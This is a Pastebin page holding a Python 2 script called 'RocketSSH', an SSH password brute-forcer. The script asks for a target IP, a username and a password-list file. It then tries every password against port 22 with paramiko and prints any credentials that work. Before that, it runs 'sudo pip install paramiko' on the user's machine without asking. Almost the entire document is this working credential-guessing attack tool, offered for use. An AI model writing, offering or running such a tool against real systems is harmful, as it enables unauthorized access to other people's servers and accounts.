Advertisement
Guest User

RocketSSH

a guest
Dec 8th, 2015
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.88 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. import os, sys, time
  3.  
  4. os.system("clear")
  5.  
  6. welcome = """
  7. ▄▄
  8.  ▀▀▄▄
  9.      ▀▀▄▄
  10.      ▄▄▀▀
  11.  ▄▄▀▀
  12. ▀▀          ▀▀▀▀▀▀▀▀▀▀
  13.  
  14. ██████  ██████  ██  ██
  15. ██      ██      ██  ██
  16. ██████  ██████  ██████
  17.    ██      ██  ██  ██
  18. ██████  ██████  ██  ██
  19.  
  20. Rocket SSH v1337 alpha
  21. """
  22. try:
  23.     time.sleep(0.5)
  24.     print welcome
  25.     time.sleep(1)
  26.     raw_input("[*] Press 'enter' to continue...")
  27.     time.sleep(0.5)
  28.     print "[-] The module 'paramiko' is needed to run this program."
  29.     time.sleep(3)
  30.     print "[-] It will now be installed automatically."
  31.     time.sleep(3)
  32. except KeyboardInterrupt:
  33.     print "\nBye bye :("
  34.     time.sleep(1)
  35.     sys.exit(1)
  36.  
  37. os.system("sudo pip install paramiko")
  38.  
  39. os.system("clear && clear")
  40.  
  41. import paramiko, socket, requests
  42.  
  43. global host, username, line, input_file
  44.  
  45. line = "\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n"
  46.  
  47. print welcome
  48. print "[*] Press 'enter' to continue..."
  49. print "[-] The module 'paramiko' is needed to run this program."
  50. print "[-] It will now be installed automatically."
  51. time.sleep(0.5)
  52.  
  53. print "\n[-] Enter the following information..."
  54.  
  55. try:
  56.     host = raw_input("[*] Target IP: ")
  57.     print "OK"
  58.     username = raw_input("[*] Username: ")
  59.     print "OK"
  60.     input_file = raw_input("[*] Password list: ")
  61.     print "Verifying path..."
  62.  
  63.     if os.path.exists(input_file) == False:
  64.         time.sleep(1)
  65.         print "\n[!] Error, path does not exist! "
  66.         time.sleep(1)
  67.         sys.exit(2)
  68.     elif os.path.exists(input_file) == True:
  69.         time.sleep(1)
  70.         print "OK"
  71.         time.sleep(1)
  72.         os.system("clear")
  73.         print "\nAttempting to connect..."
  74. except KeyboardInterrupt:
  75.         print "\nBye bye :("
  76.         time.sleep(1)
  77.         sys.exit(1)
  78.  
  79. def ssh_connect(password, code = 0):
  80.     ssh = paramiko.SSHClient()
  81.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  82.  
  83.     try:
  84.         ssh.connect(host, port=22, username=username, password=password)
  85.     except paramiko.AuthenticationException:
  86.         code = 1
  87.     except socket.error, e:
  88.         code = 2
  89.     except KeyboardInterrupt:
  90.         print "\nBye bye :("
  91.         time.sleep(1)
  92.         sys.exit(1)
  93.  
  94.     ssh.close()
  95.     return code
  96.  
  97. input_file = open(input_file)
  98.  
  99. print ""
  100.  
  101. for i in input_file.readlines():
  102.     password = i.strip("\n")
  103.     try:
  104.         response = ssh_connect(password)
  105.  
  106.         if response == 0:
  107.             print("%s[-] Username: %s \n[-] Password: %s%s" % (line, username, password, line))
  108.         elif response == 1:
  109.             print("[-] Username: %s [-] Password: %s ==> Error, bad credentials! <==" % (username, password))
  110.         elif response == 2:
  111.             print("[!] Error, host %s is not reachable!" % (host))
  112.     except Exception, e:
  113.         print e
  114.         pass
  115.     except KeyboardInterrupt:
  116.         print "\nBye bye :("
  117.  
  118. input_file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement